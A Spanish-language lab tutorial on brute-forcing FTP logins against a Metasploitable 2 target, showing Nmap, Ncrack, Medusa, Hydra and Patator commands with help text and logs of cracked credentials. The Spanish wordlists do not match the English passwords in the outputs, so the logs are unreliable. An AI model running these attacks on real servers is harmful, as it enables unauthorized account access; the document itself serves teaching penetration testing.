Cómo atacar por fuerza bruta a un servidor FTP

Los hackers suelen encontrar archivos "atractivos" en los lugares de uso más cotidiano. Uno de esos lugares son los servidores FTP. A veces, la suerte se impone y se habilitan los inicios de sesión anónimos, lo que significa que cualquiera puede entrar sin más. Pero lo más frecuente es que se requiera un nombre de usuario y una contraseña válidos. Sin embargo, existen varios métodos para forzar las credenciales FTP y obtener acceso al servidor.

El Protocolo de Transferencia de Archivos (File Transfer Protocol) es un protocolo de red utilizado para transferir archivos. Utiliza un modelo cliente-servidor en el que los usuarios pueden conectarse a un servidor utilizando un cliente FTP. La autenticación tiene lugar con un nombre de usuario y una contraseña, normalmente transmitidos en texto plano, pero también puede soportar inicios de sesión anónimos si están disponibles.

El FTP normalmente se ejecuta en el puerto 21 por defecto, pero puede ser configurado para ejecutarse en un puerto no estándar. Se utiliza a menudo en el desarrollo web y se puede encontrar en casi cualquier gran empresa donde la transferencia de archivos es esencial.

Preparativos iniciales

Antes de empezar, vamos a ejecutar un simple escaneo Nmap en nuestro objetivo para asegurarnos de que el servicio FTP está presente. Utilizaremos Metasploitable 2 como objetivo y Kali Linux como máquina atacante.

# nmap -sV 10.10.0.50 -p 21

Starting Nmap 7.80 ( https://nmap.org ) at 2022-08-23 11:10 CDT
Nmap scan report for 10.10.0.50
Host is up (0.00067s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.4
MAC Address: 00:1D:09:55:B1:3B (Dell)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.82 seconds

Bien, parece que el servicio está levantado y está abierto.

A continuación, vamos a crear dos archivos de texto, uno para los nombres de usuario y otro para las contraseñas. En un escenario real, querríamos usar archivos con más cantidad de datos, pero para fines educativos, los limitaremos para acelerar todo el proceso.

Utilizando tu editor de texto preferido, crea un archivo y añade algunos nombres de usuario comunes:

root
admin
user
ftp
felipe

Y haz lo mismo para las contraseñas:

contraseña
P4$$w0rd
s3cr3t
Contraseña1
cazador2c

Método 1

Ncrack

La primera herramienta que veremos es Ncrack. Basta con escribir ncrack en el terminal para que aparezca la información de uso y las opciones disponibles:

# ncrack

Ncrack 0.7 ( http://ncrack.org )
Usage: ncrack [Options] {target and service specification}
TARGET SPECIFICATION:
  Can pass hostnames, IP addresses, networks, etc.
  Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
  -iX <inputfilename>: Input from Nmap's -oX XML output format
  -iN <inputfilename>: Input from Nmap's -oN Normal output format
  -iL <inputfilename>: Input from list of hosts/networks
  --exclude <host1[,host2][,host3],...>: Exclude hosts/networks
  --excludefile <exclude_file>: Exclude list from file
SERVICE SPECIFICATION:
  Can pass target specific services in <service>://target (standard) notation or
  using -p which will be applied to all hosts in non-standard notation.
  Service arguments can be specified to be host-specific, type of service-specific
  (-m) or global (-g). Ex: ssh://10.0.0.10,at=10,cl=30 -m ssh:at=50 -g cd=3000
  Ex2: ncrack -p ssh,ftp:3500,25 10.0.0.10 scanme.nmap.org google.com:80,ssl
  -p <service-list>: services will be applied to all non-standard notation hosts
  -m <service>:<options>: options will be applied to all services of this type
  -g <options>: options will be applied to every service globally
  Misc options:
    ssl: enable SSL over this service
    path <name>: used in modules like HTTP ('=' needs escaping if used)
    db <name>: used in modules like MongoDB to specify the database
    domain <name>: used in modules like WinRM to specify the domain
TIMING AND PERFORMANCE:
  Options which take <time> are in seconds, unless you append 'ms'
  (milliseconds), 'm' (minutes), or 'h' (hours) to the value (e.g. 30m).
  Service-specific options:
    cl (min connection limit): minimum number of concurrent parallel connections
    CL (max connection limit): maximum number of concurrent parallel connections
    at (authentication tries): authentication attempts per connection
    cd (connection delay): delay <time> between each connection initiation
    cr (connection retries): caps number of service connection attempts
    to (time-out): maximum cracking <time> for service, regardless of success so far
  -T<0-5>: Set timing template (higher is faster)
  --connection-limit <number>: threshold for total concurrent connections
  --stealthy-linear: try credentials using only one connection against each specified host
    until you hit the same host again. Overrides all other timing options.
AUTHENTICATION:
  -U <filename>: username file
  -P <filename>: password file
  --user <username_list>: comma-separated username list
  --pass <password_list>: comma-separated password list
  --passwords-first: Iterate password list for each username. Default is opposite.
  --pairwise: Choose usernames and passwords in pairs.
OUTPUT:
  -oN/-oX <file>: Output scan in normal and XML format, respectively, to the given filename.
  -oA <basename>: Output in the two major formats at once
  -v: Increase verbosity level (use twice or more for greater effect)
  -d[level]: Set or increase debugging level (Up to 10 is meaningful)
  --nsock-trace <level>: Set nsock trace level (Valid range: 0 - 10)
  --log-errors: Log errors/warnings to the normal-format output file
  --append-output: Append to rather than clobber specified output files
MISC:
  --resume <file>: Continue previously saved session
  --save <file>: Save restoration file with specific filename
  -f: quit cracking service after one found credential
  -6: Enable IPv6 cracking
  -sL or --list: only list hosts and services
  --datadir <dirname>: Specify custom Ncrack data file location
  --proxy <type://proxy:port>: Make connections via socks4, 4a, http.
  -V: Print version number
  -h: Print this help summary page.
MODULES:
  SSH, RDP, FTP, Telnet, HTTP(S), Wordpress, POP3(S), IMAP, CVS, SMB, VNC, SIP, Redis, PostgreSQL, MQTT, MySQL, MSSQL, MongoDB, Cassandra, WinRM, OWA, DICOM
EXAMPLES:
  ncrack -v --user root localhost:22
  ncrack -v -T5 https://192.168.0.1
  ncrack -v -iX ~/nmap.xml -g CL=5,to=1h
SEE THE MAN PAGE (http://nmap.org/ncrack/man.html) FOR MORE OPTIONS AND EXAMPLES

Como puedes ver, hay muchas opciones aquí, pero por ahora, nos limitaremos a lo básico.

Podemos utilizar el argumento (flag) -U para establecer el archivo que contiene los nombres de usuario, y el argumento -P para establecer el archivo que contiene las contraseñas. Luego, especifica el servicio (FTP) seguido de la dirección IP de nuestro objetivo:

# ncrack -U usernames.txt -P passwords.txt ftp://10.10.0.50

Starting Ncrack 0.7 ( http://ncrack.org ) at 2022-08-23 11:24 CDT

Discovered credentials for ftp on 10.10.0.50 21/tcp:
10.10.0.50 21/tcp ftp: 'ftp' 'contraseña'
10.10.0.50 21/tcp ftp: 'ftp' 'P4$$w0rd'
10.10.0.50 21/tcp ftp: 'ftp' 's3cr3t'
10.10.0.50 21/tcp ftp: 'ftp' 'Contraseña1'
10.10.0.50 21/tcp ftp: 'ftp' 'cazador2c'

Ncrack done: 1 service scanned in 15.01 seconds.

Ncrack finished.

Podemos ver que descubrió las credenciales para el usuario y el ftp. Los múltiples aciertos se deben a que los inicios de sesión anónimos están permitidos para ese usuario, haciendo que cualquier contraseña sea válida.

También podemos especificar el número de puerto explícitamente, lo cual es útil si un servicio se ejecuta en un puerto no predeterminado. El uso del argumento -v también nos da un poco más de información:

# ncrack -U usernames.txt -P passwords.txt 10.10.0.50:21 -v

Starting Ncrack 0.7 ( http://ncrack.org ) at 2022-08-23 11:26 CDT

Discovered credentials on ftp://10.10.0.50:21 'ftp' 'password'
Discovered credentials on ftp://10.10.0.50:21 'ftp' 's3cr3t'
Discovered credentials on ftp://10.10.0.50:21 'ftp' 'user'
Discovered credentials on ftp://10.10.0.50:21 'user' 'user'
Discovered credentials on ftp://10.10.0.50:21 'ftp' 'Password1'
ftp://10.10.0.50:21 finished.

Discovered credentials for ftp on 10.10.0.50 21/tcp:
10.10.0.50 21/tcp ftp: 'ftp' 'contraseña'
10.10.0.50 21/tcp ftp: 'ftp' 'P4$$w0rd'
10.10.0.50 21/tcp ftp: 'ftp' 's3cr3t'
10.10.0.50 21/tcp ftp: 'ftp' 'Contraseña1'
10.10.0.50 21/tcp ftp: 'ftp' 'cazador2c'

Ncrack done: 1 service scanned in 15.00 seconds.
Probes sent: 17 | timed-out: 0 | prematurely-closed: 0

Ncrack finished.

Método 2

Medusa

La siguiente herramienta que veremos es Medusa. Escribe medusa en el terminal para ver las opciones:

# medusa

Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ALERT: Host information must be supplied.

Syntax: Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
  -h [TEXT]    : Target hostname or IP address
  -H [FILE]    : File containing target hostnames or IP addresses
  -u [TEXT]    : Username to test
  -U [FILE]    : File containing usernames to test
  -p [TEXT]    : Password to test
  -P [FILE]    : File containing passwords to test
  -C [FILE]    : File containing combo entries. See README for more information.
  -O [FILE]    : File to append log information to
  -e [n/s/ns]  : Additional password checks ([n] No Password, [s] Password = Username)
  -M [TEXT]    : Name of the module to execute (without the .mod extension)
  -m [TEXT]    : Parameter to pass to the module. This can be passed multiple times with a
                 different parameter each time and they will all be sent to the module (i.e.
                 -m Param1 -m Param2, etc.)
  -d           : Dump all known modules
  -n [NUM]     : Use for non-default TCP port number
  -s           : Enable SSL
  -g [NUM]     : Give up after trying to connect for NUM seconds (default 3)
  -r [NUM]     : Sleep NUM seconds between retry attempts (default 3)
  -R [NUM]     : Attempt NUM retries before giving up. The total number of attempts will be NUM + 1.
  -c [NUM]     : Time to wait in usec to verify socket is available (default 500 usec).
  -t [NUM]     : Total number of logins to be tested concurrently
  -T [NUM]     : Total number of hosts to be tested concurrently
  -L           : Parallelize logins using one username per thread. The default is to process
                 the entire username before proceeding.
  -f           : Stop scanning host after first valid username/password found.
  -F           : Stop audit after first valid username/password found on any host.
  -b           : Suppress startup banner
  -q           : Display module's usage information
  -v [NUM]     : Verbose level [0 - 6 (more)]
  -w [NUM]     : Error debug level [0 - 10 (more)]
  -V           : Display version
  -Z [TEXT]    : Resume scan based on map of previous scan

Necesitamos saber qué módulos están disponibles antes de poder ejecutar la herramienta. Usa la opción -d para volcar todos los módulos:

# medusa -d

Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

  Available modules in "." :

  Available modules in "/usr/lib/x86_64-linux-gnu/medusa/modules" :
    + cvs.mod : Brute force module for CVS sessions : version 2.0
    + ftp.mod : Brute force module for FTP/FTPS sessions : version 2.1
    + http.mod : Brute force module for HTTP : version 2.1
    + imap.mod : Brute force module for IMAP sessions : version 2.0
    + mssql.mod : Brute force module for M$-SQL sessions : version 2.0
    + mysql.mod : Brute force module for MySQL sessions : version 2.0
    + nntp.mod : Brute force module for NNTP sessions : version 2.0
    + pcanywhere.mod : Brute force module for PcAnywhere sessions : version 2.0
    + pop3.mod : Brute force module for POP3 sessions : version 2.0
    + postgres.mod : Brute force module for PostgreSQL sessions : version 2.0
    + rexec.mod : Brute force module for REXEC sessions : version 2.0
    + rlogin.mod : Brute force module for RLOGIN sessions : version 2.0
    + rsh.mod : Brute force module for RSH sessions : version 2.0
    + smbnt.mod : Brute force module for SMB (LM/NTLM/LMv2/NTLMv2) sessions : version 2.1
    + smtp-vrfy.mod : Brute force module for verifying SMTP accounts (VRFY/EXPN/RCPT TO) : version 2.1
    + smtp.mod : Brute force module for SMTP Authentication with TLS : version 2.0
    + snmp.mod : Brute force module for SNMP Community Strings : version 2.1
    + ssh.mod : Brute force module for SSH v2 sessions : version 2.1
    + svn.mod : Brute force module for Subversion sessions : version 2.1
    + telnet.mod : Brute force module for telnet sessions : version 2.0
    + vmauthd.mod : Brute force module for the VMware Authentication Daemon : version 2.0
    + vnc.mod : Brute force module for VNC sessions : version 2.1
    + web-form.mod : Brute force module for web forms : version 2.1
    + wrapper.mod : Generic Wrapper Module : version 2.0

Ahora podemos intentar hacer el ataque de fuerza bruta. Estas son las opciones que debemos configurar:

  • El argumento -h especifica el host.
  • El argumento -U especifica la lista de nombres de usuario.
  • El argumento P especifica la lista de contraseñas.
  • El argumento -M especifica el módulo a utilizar.

Ejecútalo y podemos verlo en acción:

medusa -h 10.10.0.50 -U usernames.txt -P passwords.txt -M ftp

Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: root (1 of 5, 0 complete) Password: password (1 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: root (1 of 5, 0 complete) Password: s3cr3t (2 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: root (1 of 5, 0 complete) Password: user (3 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: root (1 of 5, 0 complete) Password: Password1 (4 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: root (1 of 5, 0 complete) Password: hunter2 (5 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: admin (2 of 5, 1 complete) Password: password (1 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: admin (2 of 5, 1 complete) Password: s3cr3t (2 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: admin (2 of 5, 1 complete) Password: user (3 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: admin (2 of 5, 1 complete) Password: Password1 (4 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: admin (2 of 5, 1 complete) Password: hunter2 (5 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: user (3 of 5, 2 complete) Password: password (1 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: user (3 of 5, 2 complete) Password: s3cr3t (2 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: user (3 of 5, 2 complete) Password: user (3 of 5 complete)
ACCOUNT FOUND: [ftp] Host: 10.10.0.50 User: user Password: user [SUCCESS]
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: ftp (4 of 5, 3 complete) Password: password (1 of 5 complete)
ACCOUNT FOUND: [ftp] Host: 10.10.0.50 User: ftp Password: password [SUCCESS]
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: felipe (5 of 5, 4 complete) Password: password (1 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: felipe (5 of 5, 4 complete) Password: s3cr3t (2 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: felipe (5 of 5, 4 complete) Password: user (3 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: felipe (5 of 5, 4 complete) Password: Password1 (4 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: felipe (5 of 5, 4 complete) Password: hunter2 (5 of 5 complete)

Podemos ver que encontró un par de credenciales válidas.

Método3

Hydra

Ahora vamos a repasar Hydra. Escribe hydra en la línea de comandos para ver la sintaxis y las opciones:

# hydra

Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]

Options:
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to attack, one entry per line, ':' to specify port
  -t TASKS  run TASKS number of connects in parallel per target (default: 16)
  -U        service module usage details
  -h        more command line options (COMPLETE HELP)
  server    the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
  service   the service to crack (see below for supported protocols)
  OPT       some service modules support additional input (-U for module help)

Supported services: adam6500 asterisk cisco cisco-enable cvs firebird ftp[s] http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

Hydra is a tool to guess/crack valid login/password pairs. Licensed under AGPL
v3.0. The newest version is always available at https://github.com/vanhauser-thc/thc-hydra
Don't use in military or secret service organizations, or for illegal purposes.

Example:  hydra -l user -P passlist.txt ftp://192.168.0.1

Añadir el argumento -h nos dará un poco más de opciones, así como algunos ejemplos de uso:

hydra -h

Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]

Options:
  -R        restore a previous aborted/crashed session
  -I        ignore an existing restore file (don't wait 10 seconds)
  -S        perform an SSL connect
  -s PORT   if the service is on a different default port, define it here
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -x MIN:MAX:CHARSET  password bruteforce generation, type "-x -h" to get help
  -y        disable use of symbols in bruteforce, see above
  -e nsr    try "n" null password, "s" login as pass and/or "r" reversed login
  -u        loop around users, not passwords (effective! implied with -x)
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to attack, one entry per line, ':' to specify portThis
  -o FILE   write found login/password pairs to FILE instead of stdout
  -b FORMAT specify the format for the -o FILE: text(default), json, jsonv1
  -f / -F   exit when a login/pass pair is found (-M: -f per host, -F global)
  -t TASKS  run TASKS number of connects in parallel per target (default: 16)
  -T TASKS  run TASKS connects in parallel overall (for -M, default: 64)
  -w / -W TIME  wait time for a response (32) / between connects per thread (0)
  -c TIME   wait time per login attempt over all threads (enforces -t 1)
  -4 / -6   use IPv4 (default) / IPv6 addresses (put always in [] also in -M)
  -v / -V / -d  verbose mode / show login+pass for each attempt / debug mode
  -O        use old SSL v2 and v3
  -q        do not print messages about connection errors
  -U        service module usage details
  -h        more command line options (COMPLETE HELP)
  server    the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
  service   the service to crack (see below for supported protocols)
  OPT       some service modules support additional input (-U for module help)

Supported services: adam6500 asterisk cisco cisco-enable cvs firebird ftp[s] http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

Hydra is a tool to guess/crack valid login/password pairs. Licensed under AGPL
v3.0. The newest version is always available at https://github.com/vanhauser-thc/thc-hydra
Don't use in military or secret service organizations, or for illegal purposes.
These services were not compiled in: afp ncp oracle sapr3.

Use HYDRA_PROXY_HTTP or HYDRA_PROXY environment variables for a proxy setup.
E.g. % export HYDRA_PROXY=socks5://l:p@127.0.0.1:9150 (or: socks4:// connect://)
     % export HYDRA_PROXY=connect_and_socks_proxylist.txt  (up to 64 entries)
     % export HYDRA_PROXY_HTTP=http://login:pass@proxy:8080
     % export HYDRA_PROXY_HTTP=proxylist.txt  (up to 64 entries)

Examples:
  hydra -l user -P passlist.txt ftp://192.168.0.1
  hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
  hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
  hydra -l admin -p password ftp://[192.168.0.0/24]/
  hydra -L logins.txt -P pws.txt -M targets.txt ssh

Podemos utilizar el argumento -L para establecer la lista de nombres de usuario, el argumento -P para establecer la lista de contraseñas, y como hicimos con Ncrack, especificar el servicio y la dirección IP de destino:

# hydra -L usernames.txt -P passwords.txt ftp://10.10.0.50

Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-08-23 11:37:25
[DATA] max 16 tasks per 1 server, overall 16 tasks, 25 login tries (l:5/p:5), ~2 tries per task
[DATA] attacking ftp://10.10.0.50:21/
[21][ftp] host: 10.10.0.50   login: ftp   password: password
[21][ftp] host: 10.10.0.50   login: user   password: user
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-08-23 11:37:33

Si el servicio no se ejecuta en el puerto predeterminado, podemos utilizar la opción -s para especificar el número de puerto en el que se está ejecutando:

# hydra -L usernames.txt -P passwords.txt ftp://10.10.0.50 -s 21

Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-08-23 11:38:41
[DATA] max 16 tasks per 1 server, overall 16 tasks, 25 login tries (l:5/p:5), ~2 tries per task
[DATA] attacking ftp://10.10.0.50:21/
[21][ftp] host: 10.10.0.50   login: user   password: user
[21][ftp] host: 10.10.0.50   login: ftp   password: password
[21][ftp] host: 10.10.0.50   login: ftp   password: s3cr3t
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-08-23 11:38:48

Una vez que Hydra finalice el ataque, nos mostrará los inicios de sesión que descubrió.

Método 4

Patator

La siguiente herramienta que veremos es Patator. Escribe patator en el terminal para ver los módulos disponibles:

# patator

Patator v0.7 (https://github.com/lanjelot/patator)
Usage: patator module --help

Available modules:
  + ftp_login     : Brute-force FTP
  + ssh_login     : Brute-force SSH
  + telnet_login  : Brute-force Telnet
  + smtp_login    : Brute-force SMTP
  + smtp_vrfy     : Enumerate valid users using SMTP VRFY
  + smtp_rcpt     : Enumerate valid users using SMTP RCPT TO
  + finger_lookup : Enumerate valid users using Finger
  + http_fuzz     : Brute-force HTTP
  + ajp_fuzz      : Brute-force AJP
  + pop_login     : Brute-force POP3
  + pop_passd     : Brute-force poppassd (http://netwinsite.com/poppassd/)
  + imap_login    : Brute-force IMAP4
  + ldap_login    : Brute-force LDAP
  + smb_login     : Brute-force SMB
  + smb_lookupsid : Brute-force SMB SID-lookup
  + rlogin_login  : Brute-force rlogin
  + vmauthd_login : Brute-force VMware Authentication Daemon
  + mssql_login   : Brute-force MSSQL
  + oracle_login  : Brute-force Oracle
  + mysql_login   : Brute-force MySQL
  + mysql_query   : Brute-force MySQL queries
  + rdp_login     : Brute-force RDP (NLA)
  + pgsql_login   : Brute-force PostgreSQL
  + vnc_login     : Brute-force VNC
  + dns_forward   : Forward DNS lookup
  + dns_reverse   : Reverse DNS lookup
  + snmp_login    : Brute-force SNMP v1/2/3
  + ike_enum      : Enumerate IKE transforms
  + unzip_pass    : Brute-force the password of encrypted ZIP files
  + keystore_pass : Brute-force the password of Java keystore files
  + sqlcipher_pass : Brute-force the password of SQLCipher-encrypted databases
  + umbraco_crack : Crack Umbraco HMAC-SHA1 password hashes
  + tcp_fuzz      : Fuzz TCP services
  + dummy_test    : Testing module

Como puedes ver, la herramienta puede hacer mucho. Pero como solo nos preocupa el FTP, podemos ver el menú de ayuda con el siguiente comando:

# patator ftp_login --help

Patator v0.7 (https://github.com/lanjelot/patator)
Usage: ftp_login <module-options ...> [global-options ...]

Examples:
  ftp_login host=10.0.0.1 user=FILE0 password=FILE1 0=logins.txt 1=passwords.txt -x ignore:mesg='Login incorrect.' -x ignore,reset,retry:code=500

Module options:
  host          : target host
  port          : target port [21]
  user          : usernames to test
  password      : passwords to test
  tls           : use TLS [0|1]
  timeout       : seconds to wait for a response [10]
  persistent    : use persistent connections [1|0]

Global options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit

  Execution:
    -x arg              actions and conditions, see Syntax below
    --start=N           start from offset N in the wordlist product
    --stop=N            stop at offset N
    --resume=r1[,rN]*   resume previous run
    -e arg              encode everything between two tags, see Syntax below
    -C str              delimiter string in combo files (default is ':')
    -X str              delimiter string in conditions (default is ',')
    --allow-ignore-failures
                        failures cannot be ignored with -x (this is by design
                        to avoid false negatives) this option overrides this
                        behavior

  Optimization:
    --rate-limit=N      wait N seconds between each test (default is 0)
    --timeout=N         wait N seconds for a response before retrying payload
                        (default is 0)
    --max-retries=N     skip payload after N retries (default is 4) (-1 for
                        unlimited)
    -t N, --threads=N   number of threads (default is 10)

  Logging:
    -l DIR              save output and response data into DIR
    -L SFX              automatically save into DIR/yyyy-mm-dd/hh:mm:ss_SFX
                        (DIR defaults to '/tmp/patator')

  Debugging:
    -d, --debug         enable debug messages

Syntax:
 -x actions:conditions

    actions    := action[,action]*
    action     := "ignore" | "retry" | "free" | "quit" | "reset"
    conditions := condition=value[,condition=value]*
    condition  := "code" | "size" | "time" | "mesg" | "fgrep" | "egrep"

    ignore      : do not report
    retry       : try payload again
    free        : dismiss future similar payloads
    quit        : terminate execution now
    reset       : close current connection in order to reconnect next time

    code        : match status code
    size        : match size (N or N-M or N- or -N)
    time        : match time (N or N-M or N- or -N)
    mesg        : match message
    fgrep       : search for string in mesg
    egrep       : search for regex in mesg

For example, to ignore all redirects to the home page:
... -x ignore:code=302,fgrep='Location: /home.html'

 -e tag:encoding

    tag        := any unique string (eg. T@G or _@@_ or ...)
    encoding   := "hex" | "unhex" | "b64" | "md5" | "sha1" | "url"

    hex         : encode in hexadecimal
    unhex       : decode from hexadecimal
    b64         : encode in base64
    md5         : hash in md5
    sha1        : hash in sha1
    url         : url encode

For example, to encode every password in base64:
... host=10.0.0.1 user=admin password=_@@_FILE0_@@_ -e _@@_:b64

Please read the README inside for more examples and usage information.

Eso nos da opciones de módulo, opciones globales y algunos ejemplos de sintaxis. Patator es un poco más complicado que las herramientas anteriores que hemos visto, pero ofrece una tonelada de flexibilidad a cambio.

Lo más importante a tener en cuenta es que necesitamos establecer variables para los archivos de nombre de usuario y contraseña. Podemos lograrlo estableciendo user=FILEo y password=FILE1. A continuación, simplemente establecemos los archivos con el número apropiado. No te olvides de establecer el host, y entonces estamos listos hacer INTRO:

# patator ftp_login host=10.10.0.50 user=FILE0 password=FILE1 0=usernames.txt 1=passwords.txt

11:50:07 patator    INFO - Starting Patator v0.7 (https://github.com/lanjelot/patator) at 2022-08-23 11:50 CDT
11:50:08 patator    INFO -
11:50:08 patator    INFO - code  size    time | candidate                          |   num | mesg
11:50:08 patator    INFO - -----------------------------------------------------------------------------
11:50:11 patator    INFO - 530   16     3.067 | admin:hunter2                      |    10 | Login incorrect.
11:50:11 patator    INFO - 230   17     0.015 | ftp:hunter2                        |    20 | Login successful.
11:50:11 patator    INFO - 530   16     3.418 | root:password                      |     1 | Login incorrect.
11:50:11 patator    INFO - 530   16     3.483 | root:s3cr3t                        |     2 | Login incorrect.
11:50:11 patator    INFO - 530   16     3.403 | root:user                          |     3 | Login incorrect.
11:50:11 patator    INFO - 530   16     3.485 | root:Password1                     |     4 | Login incorrect.
11:50:11 patator    INFO - 530   16     3.444 | root:hunter2                       |     5 | Login incorrect.
11:50:11 patator    INFO - 530   16     3.315 | admin:password                     |     6 | Login incorrect.
11:50:11 patator    INFO - 530   16     3.451 | admin:s3cr3t                       |     7 | Login incorrect.
11:50:11 patator    INFO - 530   16     3.449 | admin:user                         |     8 | Login incorrect.
11:50:11 patator    INFO - 530   16     3.396 | admin:Password1                    |     9 | Login incorrect.
11:50:11 patator    INFO - 230   17     0.119 | ftp:s3cr3t                         |    17 | Login successful.
11:50:11 patator    INFO - 230   17     0.085 | ftp:Password1                      |    19 | Login successful.
11:50:12 patator    INFO - 230   17     0.207 | user:user                          |    13 | Login successful.
11:50:12 patator    INFO - 230   17     0.150 | ftp:password                       |    16 | Login successful.
11:50:12 patator    INFO - 230   17     0.203 | ftp:user                           |    18 | Login successful.
11:50:14 patator    INFO - 530   16     2.927 | user:password                      |    11 | Login incorrect.
11:50:14 patator    INFO - 530   16     2.913 | user:s3cr3t                        |    12 | Login incorrect.
11:50:14 patator    INFO - 530   16     2.952 | user:Password1                     |    14 | Login incorrect.
11:50:14 patator    INFO - 530   16     2.928 | user:hunter2                       |    15 | Login incorrect.
11:50:14 patator    INFO - 530   16     2.776 | felipe:user                         |    23 | Login incorrect.
11:50:18 patator    INFO - 530   16     3.461 | felipe:password                     |    21 | Login incorrect.
11:50:18 patator    INFO - 530   16     3.440 | felipe:s3cr3t                       |    22 | Login incorrect.
11:50:18 patator    INFO - 530   16     3.442 | felipe:Password1                    |    24 | Login incorrect.
11:50:18 patator    INFO - 530   16     3.444 | felipe:hunter2                      |    25 | Login incorrect.
11:50:18 patator    INFO - Hits/Done/Skip/Fail/Size: 25/25/0/0/25, Avg: 2 r/s, Time: 0h 0m 10s

Podemos ver que tenemos unos cuantos accesos exitosos.

Patator tiene una opción útil para ignorar parámetros específicos, lo que significa que podemos elegir mostrar solo los inicios de sesión exitosos. Utiliza la opción -x para ignorar los mensajes de inicio de sesión no válidos:

# patator ftp_login host=10.10.0.50 user=FILE0 password=FILE1 0=usernames.txt 1=passwords.txt -x ignore:mesg='Login incorrect.'

11:52:27 patator    INFO - Starting Patator v0.7 (https://github.com/lanjelot/patator) at 2022-08-23 11:52 CDT
11:52:27 patator    INFO -
11:52:27 patator    INFO - code  size    time | candidate                          |   num | mesg
11:52:27 patator    INFO - -----------------------------------------------------------------------------
